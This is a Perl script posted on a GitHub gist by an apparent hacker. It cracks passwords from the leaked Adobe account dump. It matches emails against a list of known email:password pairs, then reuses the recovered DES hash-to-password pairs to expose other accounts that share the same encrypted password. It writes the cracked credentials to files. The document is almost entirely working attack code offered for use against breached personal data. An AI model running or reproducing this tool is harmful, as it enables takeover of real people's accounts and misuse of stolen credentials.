Instantly share code, notes, and snippets.

Embed
What would you like to do?
#!/usr/bin/perl
#coder: kodo no kami
#face: fb/hacker.fts315
#adobe account brute force rainbow table
#format adobe file: id- | -- | -email- | -senha(des)- | -dica-
#format raibow file: email:pass
#sintax: script.pl ADOBE_FILE_ACCOUNT LIST_PASSWORD_RAINBOW
#arquivos
my $arq_adobe = $ARGV[0];
my $arq_rainbow = $ARGV[1]; #format email:senha
my $arq_senhasqueb = "adobe_senhaquebrada.txt";
my $arq_hashqueb = "adobe_hashquebrada.txt";
open(KODO_ADOBE,"<$arq_adobe");
my ($linha,$linhat, @email, @emailt, @senhat, @hash, @senha,$desbusca,$linha_des);
my $cont = 0;
while(1){
$linha = readline(KODO_ADOBE);
@email = $linha =~ /\|--\|-(.*?@.*?)-/;
@hash = $linha =~ /\|--\|-.*?@.*?-\|-(.*?)-/;
#print $linha . "\n";
open(KODO_RAINBOW,"<$arq_rainbow");
#busca no arquivo para rainbow table
$desbusca = 1;
while($linhat = readline(KODO_RAINBOW)){
@emailt = $linhat =~ /(.*?):/;
@senhat = $linhat =~ /\:(.*)/;
if($email[0] eq ""){
}
else{
if($email[0] eq "$emailt[0]"){
print "cracked: " . $email[0] . " " . $senhat[0] . "\n";
open(KODO_SENHAQUEB,">>$arq_senhasqueb");
open(KODO_HASHQUEB,">>$arq_hashqueb");
print KODO_SENHAQUEB "$emailt[0]:$senhat[0]\n";
print KODO_HASHQUEB "$hash[0]:$senhat[0]\n";
close(KODO_SENHAQUEB);
close(KODO_HASHQUEB);
$desbusca = 0;
next;
}}
}
close(KODO_RAINBOW);
#busca no arquivo de senhas DES quebrada
if($desbusca == 1){
open(KODO_HASHQUEB2,"<$arq_hashqueb");
while($linha_des = readline(KODO_HASHQUEB2)){
@des_hash = $linha_des =~ /(.*?):/;
@des_sen = $linha_des =~ /.*?:(.*)/;
if($des_hash[0] eq "$hash[0]"){
print "cracked (des): " . $email[0]. " " . $des_sen[0] . " ($des_hash[0])" . "\n";
open(KODO_SENHAQUEB,">>$arq_senhasqueb");
print KODO_SENHAQUEB "$email[0]:$des_sen[0]\n";
close(KODO_SENHAQUEB);
}
}
close(KODO_HASHQUEB2);
}
$cont++;
}
close(KODO_ADOBE);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment